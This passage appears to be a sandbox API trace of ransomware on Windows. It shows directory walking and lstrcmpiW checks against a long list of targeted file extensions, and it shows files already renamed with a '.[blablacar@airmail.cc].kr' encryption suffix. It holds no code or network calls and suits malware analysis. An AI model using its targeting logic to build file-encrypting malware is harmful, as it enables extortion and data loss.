lpString2="].kr") returned -1 [0087.336] lstrlenW (lpString=".pdp") returned 4 [0087.336] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0087.336] lstrlenW (lpString=".pef") returned 4 [0087.336] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0087.336] lstrlenW (lpString=".pem") returned 4 [0087.336] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0087.336] lstrlenW (lpString=".pff") returned 4 [0087.336] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0087.336] lstrlenW (lpString=".pfm") returned 4 [0087.336] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0087.336] lstrlenW (lpString=".pfx") returned 4 [0087.336] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0087.336] lstrlenW (lpString=".pgm") returned 4 [0087.337] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0087.337] lstrlenW (lpString=".php") returned 4 [0087.337] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0087.337] lstrlenW (lpString=".php3") returned 5 [0087.337] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0087.337] lstrlenW (lpString=".php4") returned 5 [0087.337] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0087.337] lstrlenW (lpString=".php5") returned 5 [0087.337] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0087.337] lstrlenW (lpString=".phtml") returned 6 [0087.337] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0087.337] lstrlenW (lpString=".pict") returned 5 [0087.337] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0087.337] lstrlenW (lpString=".pl") returned 3 [0087.337] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0087.337] lstrlenW (lpString=".pls") returned 4 [0087.337] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0087.337] lstrlenW (lpString=".pm") returned 3 [0087.337] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0087.337] lstrlenW (lpString=".png") returned 4 [0087.337] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0087.337] lstrlenW (lpString=".pnm") returned 4 [0087.337] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0087.337] lstrlenW (lpString=".pot") returned 4 [0087.337] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0087.337] lstrlenW (lpString=".potm") returned 5 [0087.337] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0087.337] lstrlenW (lpString=".potx") returned 5 [0087.338] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0087.338] lstrlenW (lpString=".ppa") returned 4 [0087.338] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0087.338] lstrlenW (lpString=".ppam") returned 5 [0087.338] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0087.338] lstrlenW (lpString=".ppm") returned 4 [0087.338] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0087.338] lstrlenW (lpString=".pps") returned 4 [0087.338] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0087.338] lstrlenW (lpString=".ppsm") returned 5 [0087.338] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0087.338] lstrlenW (lpString=".ppt") returned 4 [0087.338] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0087.338] lstrlenW (lpString=".pptm") returned 5 [0087.338] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0087.338] lstrlenW (lpString=".pptx") returned 5 [0087.338] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0087.338] lstrlenW (lpString=".prn") returned 4 [0087.338] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0087.338] lstrlenW (lpString=".ps") returned 3 [0087.338] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0087.338] lstrlenW (lpString=".psb") returned 4 [0087.338] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0087.338] lstrlenW (lpString=".psd") returned 4 [0087.338] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0087.338] lstrlenW (lpString=".pst") returned 4 [0087.338] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0087.338] lstrlenW (lpString=".ptx") returned 4 [0087.339] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0087.339] lstrlenW (lpString=".pub") returned 4 [0087.339] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0087.339] lstrlenW (lpString=".pwm") returned 4 [0087.339] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0087.339] lstrlenW (lpString=".pxr") returned 4 [0087.339] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0087.339] lstrlenW (lpString=".py") returned 3 [0087.339] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0087.339] lstrlenW (lpString=".qt") returned 3 [0087.339] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0087.339] lstrlenW (lpString=".r3d") returned 4 [0087.339] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0087.339] lstrlenW (lpString=".raf") returned 4 [0087.339] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0087.339] lstrlenW (lpString=".rar") returned 4 [0087.339] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0087.339] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc64b57ea, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc64b57ea, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6a85464, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x142c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0087.340] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0087.340] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0087.340] FindClose (in: hFindFile=0x4260190 | out: hFindFile=0x4260190) returned 1 [0087.340] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0087.340] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1 [0087.340] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0087.340] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046") returned 26 [0087.340] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc6b90516, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0087.340] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc6b90516, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.340] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc673e132, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc673e132, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc673e132, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xf54, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0087.341] lstrlenW (lpString="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr") returned 46 [0087.341] lstrlenW (lpString=".1cd") returned 4 [0087.341] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0087.341] lstrlenW (lpString=".3ds") returned 4 [0087.341] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0087.341] lstrlenW (lpString=".3fr") returned 4 [0087.341] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0087.341] lstrlenW (lpString=".3g2") returned 4 [0087.341] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0087.341] lstrlenW (lpString=".3gp") returned 4 [0087.341] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0087.341] lstrlenW (lpString=".7z") returned 3 [0087.341] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0087.341] lstrlenW (lpString=".accda") returned 6 [0087.341] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0087.341] lstrlenW (lpString=".accdb") returned 6 [0087.341] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0087.341] lstrlenW (lpString=".accdc") returned 6 [0087.341] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0087.341] lstrlenW (lpString=".accde") returned 6 [0087.341] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0087.341] lstrlenW (lpString=".accdt") returned 6 [0087.341] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0087.341] lstrlenW (lpString=".accdw") returned 6 [0087.342] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0087.342] lstrlenW (lpString=".adb") returned 4 [0087.342] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0087.342] lstrlenW (lpString=".adp") returned 4 [0087.342] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0087.342] lstrlenW (lpString=".ai") returned 3 [0087.342] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0087.342] lstrlenW (lpString=".ai3") returned 4 [0087.342] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0087.342] lstrlenW (lpString=".ai4") returned 4 [0087.342] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0087.342] lstrlenW (lpString=".ai5") returned 4 [0087.342] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0087.342] lstrlenW (lpString=".ai6") returned 4 [0087.342] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0087.342] lstrlenW (lpString=".ai7") returned 4 [0087.342] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0087.342] lstrlenW (lpString=".ai8") returned 4 [0087.342] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0087.342] lstrlenW (lpString=".anim") returned 5 [0087.342] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0087.342] lstrlenW (lpString=".arw") returned 4 [0087.342] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0087.342] lstrlenW (lpString=".as") returned 3 [0087.342] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0087.342] lstrlenW (lpString=".asa") returned 4 [0087.342] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0087.343] lstrlenW (lpString=".asc") returned 4 [0087.343] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0087.343] lstrlenW (lpString=".ascx") returned 5 [0087.343] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0087.343] lstrlenW (lpString=".asm") returned 4 [0087.343] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0087.343] lstrlenW (lpString=".asmx") returned 5 [0087.343] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0087.343] lstrlenW (lpString=".asp") returned 4 [0087.343] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0087.343] lstrlenW (lpString=".aspx") returned 5 [0087.343] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0087.343] lstrlenW (lpString=".asr") returned 4 [0087.343] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0087.343] lstrlenW (lpString=".asx") returned 4 [0087.343] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0087.343] lstrlenW (lpString=".avi") returned 4 [0087.343] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0087.343] lstrlenW (lpString=".avs") returned 4 [0087.343] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0087.343] lstrlenW (lpString=".backup") returned 7 [0087.343] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0087.343] lstrlenW (lpString=".bak") returned 4 [0087.343] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0087.343] lstrlenW (lpString=".bay") returned 4 [0087.343] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0087.343] lstrlenW (lpString=".bd") returned 3 [0087.343] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0087.344] lstrlenW (lpString=".bin") returned 4 [0087.344] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0087.344] lstrlenW (lpString=".bmp") returned 4 [0087.344] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0087.344] lstrlenW (lpString=".bz2") returned 4 [0087.344] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0087.344] lstrlenW (lpString=".c") returned 2 [0087.344] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0087.344] lstrlenW (lpString=".cdr") returned 4 [0087.344] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0087.344] lstrlenW (lpString=".cer") returned 4 [0087.344] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0087.344] lstrlenW (lpString=".cf") returned 3 [0087.344] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0087.344] lstrlenW (lpString=".cfc") returned 4 [0087.344] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0087.344] lstrlenW (lpString=".cfm") returned 4 [0087.344] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0087.344] lstrlenW (lpString=".cfml") returned 5 [0087.344] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0087.344] lstrlenW (lpString=".cfu") returned 4 [0087.344] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0087.344] lstrlenW (lpString=".chm") returned 4 [0087.344] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0087.344] lstrlenW (lpString=".cin") returned 4 [0087.344] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0087.344] lstrlenW (lpString=".class") returned 6 [0087.345] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0087.345] lstrlenW (lpString=".clx") returned 4 [0087.345] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0087.345] lstrlenW (lpString=".config") returned 7 [0087.345] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0087.345] lstrlenW (lpString=".cpp") returned 4 [0087.345] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0087.345] lstrlenW (lpString=".cr2") returned 4 [0087.345] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0087.345] lstrlenW (lpString=".crt") returned 4 [0087.345] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0087.345] lstrlenW (lpString=".crw") returned 4 [0087.345] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0087.345] lstrlenW (lpString=".cs") returned 3 [0087.345] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0087.345] lstrlenW (lpString=".css") returned 4 [0087.345] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0087.345] lstrlenW (lpString=".csv") returned 4 [0087.345] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0087.345] lstrlenW (lpString=".cub") returned 4 [0087.345] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0087.345] lstrlenW (lpString=".dae") returned 4 [0087.345] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0087.345] lstrlenW (lpString=".dat") returned 4 [0087.345] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0087.345] lstrlenW (lpString=".db") returned 3 [0087.346] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0087.346] lstrlenW (lpString=".dbf") returned 4 [0087.346] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0087.346] lstrlenW (lpString=".dbx") returned 4 [0087.346] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0087.346] lstrlenW (lpString=".dc3") returned 4 [0087.346] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0087.346] lstrlenW (lpString=".dcm") returned 4 [0087.346] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0087.346] lstrlenW (lpString=".dcr") returned 4 [0087.346] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0087.346] lstrlenW (lpString=".der") returned 4 [0087.346] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0087.346] lstrlenW (lpString=".dib") returned 4 [0087.346] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0087.346] lstrlenW (lpString=".dic") returned 4 [0087.346] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0087.346] lstrlenW (lpString=".dif") returned 4 [0087.346] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0087.346] lstrlenW (lpString=".divx") returned 5 [0087.346] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0087.346] lstrlenW (lpString=".djvu") returned 5 [0087.346] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0087.346] lstrlenW (lpString=".dng") returned 4 [0087.346] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0087.346] lstrlenW (lpString=".doc") returned 4 [0087.346] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0087.346] lstrlenW (lpString=".docm") returned 5 [0087.347] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0087.347] lstrlenW (lpString=".docx") returned 5 [0087.347] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0087.347] lstrlenW (lpString=".dot") returned 4 [0087.347] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0087.347] lstrlenW (lpString=".dotm") returned 5 [0087.347] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0087.347] lstrlenW (lpString=".dotx") returned 5 [0087.347] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0087.347] lstrlenW (lpString=".dpx") returned 4 [0087.347] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0087.347] lstrlenW (lpString=".dqy") returned 4 [0087.347] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0087.347] lstrlenW (lpString=".dsn") returned 4 [0087.347] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0087.347] lstrlenW (lpString=".dt") returned 3 [0087.347] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0087.347] lstrlenW (lpString=".dtd") returned 4 [0087.347] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0087.347] lstrlenW (lpString=".dwg") returned 4 [0087.347] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0087.347] lstrlenW (lpString=".dwt") returned 4 [0087.347] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0087.347] lstrlenW (lpString=".dx") returned 3 [0087.347] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0087.347] lstrlenW (lpString=".dxf") returned 4 [0087.347] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0087.347] lstrlenW (lpString=".edml") returned 5 [0087.348] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0087.348] lstrlenW (lpString=".efd") returned 4 [0087.348] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0087.348] lstrlenW (lpString=".elf") returned 4 [0087.348] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0087.348] lstrlenW (lpString=".emf") returned 4 [0087.348] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0087.348] lstrlenW (lpString=".emz") returned 4 [0087.348] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0087.348] lstrlenW (lpString=".epf") returned 4 [0087.348] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0087.348] lstrlenW (lpString=".eps") returned 4 [0087.348] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0087.348] lstrlenW (lpString=".epsf") returned 5 [0087.348] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0087.348] lstrlenW (lpString=".epsp") returned 5 [0087.348] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0087.348] lstrlenW (lpString=".erf") returned 4 [0087.348] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0087.348] lstrlenW (lpString=".exr") returned 4 [0087.348] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0087.348] lstrlenW (lpString=".f4v") returned 4 [0087.348] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0087.348] lstrlenW (lpString=".fido") returned 5 [0087.348] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0087.348] lstrlenW (lpString=".flm") returned 4 [0087.348] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0087.349] lstrlenW (lpString=".flv") returned 4 [0087.349] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0087.349] lstrlenW (lpString=".frm") returned 4 [0087.349] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0087.349] lstrlenW (lpString=".fxg") returned 4 [0087.349] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0087.349] lstrlenW (lpString=".geo") returned 4 [0087.349] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0087.349] lstrlenW (lpString=".gif") returned 4 [0087.349] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0087.349] lstrlenW (lpString=".grs") returned 4 [0087.349] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0087.349] lstrlenW (lpString=".gz") returned 3 [0087.349] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0087.349] lstrlenW (lpString=".h") returned 2 [0087.349] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0087.349] lstrlenW (lpString=".hdr") returned 4 [0087.349] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0087.349] lstrlenW (lpString=".hpp") returned 4 [0087.349] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0087.349] lstrlenW (lpString=".hta") returned 4 [0087.349] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0087.349] lstrlenW (lpString=".htc") returned 4 [0087.349] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0087.349] lstrlenW (lpString=".htm") returned 4 [0087.349] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0087.349] lstrlenW (lpString=".html") returned 5 [0087.349] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0087.349] lstrlenW (lpString=".icb") returned 4 [0087.350] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0087.350] lstrlenW (lpString=".ics") returned 4 [0087.350] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0087.350] lstrlenW (lpString=".iff") returned 4 [0087.350] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0087.350] lstrlenW (lpString=".inc") returned 4 [0087.350] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0087.350] lstrlenW (lpString=".indd") returned 5 [0087.350] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0087.350] lstrlenW (lpString=".ini") returned 4 [0087.350] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0087.350] lstrlenW (lpString=".iqy") returned 4 [0087.350] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0087.350] lstrlenW (lpString=".j2c") returned 4 [0087.350] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0087.350] lstrlenW (lpString=".j2k") returned 4 [0087.350] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0087.350] lstrlenW (lpString=".java") returned 5 [0087.350] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0087.350] lstrlenW (lpString=".jp2") returned 4 [0087.350] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0087.350] lstrlenW (lpString=".jpc") returned 4 [0087.350] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0087.350] lstrlenW (lpString=".jpe") returned 4 [0087.350] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0087.351] lstrlenW (lpString=".jpeg") returned 5 [0087.351] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0087.351] lstrlenW (lpString=".jpf") returned 4 [0087.351] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0087.351] lstrlenW (lpString=".jpg") returned 4 [0087.351] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0087.351] lstrlenW (lpString=".jpx") returned 4 [0087.351] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0087.351] lstrlenW (lpString=".js") returned 3 [0087.351] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0087.351] lstrlenW (lpString=".jsf") returned 4 [0087.351] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0087.351] lstrlenW (lpString=".json") returned 5 [0087.351] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0087.351] lstrlenW (lpString=".jsp") returned 4 [0087.351] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0087.351] lstrlenW (lpString=".kdc") returned 4 [0087.351] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0087.351] lstrlenW (lpString=".kmz") returned 4 [0087.351] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0087.351] lstrlenW (lpString=".kwm") returned 4 [0087.351] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0087.351] lstrlenW (lpString=".lasso") returned 6 [0087.351] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0087.351] lstrlenW (lpString=".lbi") returned 4 [0087.351] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0087.351] lstrlenW (lpString=".lgf") returned 4 [0087.351] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0087.352] 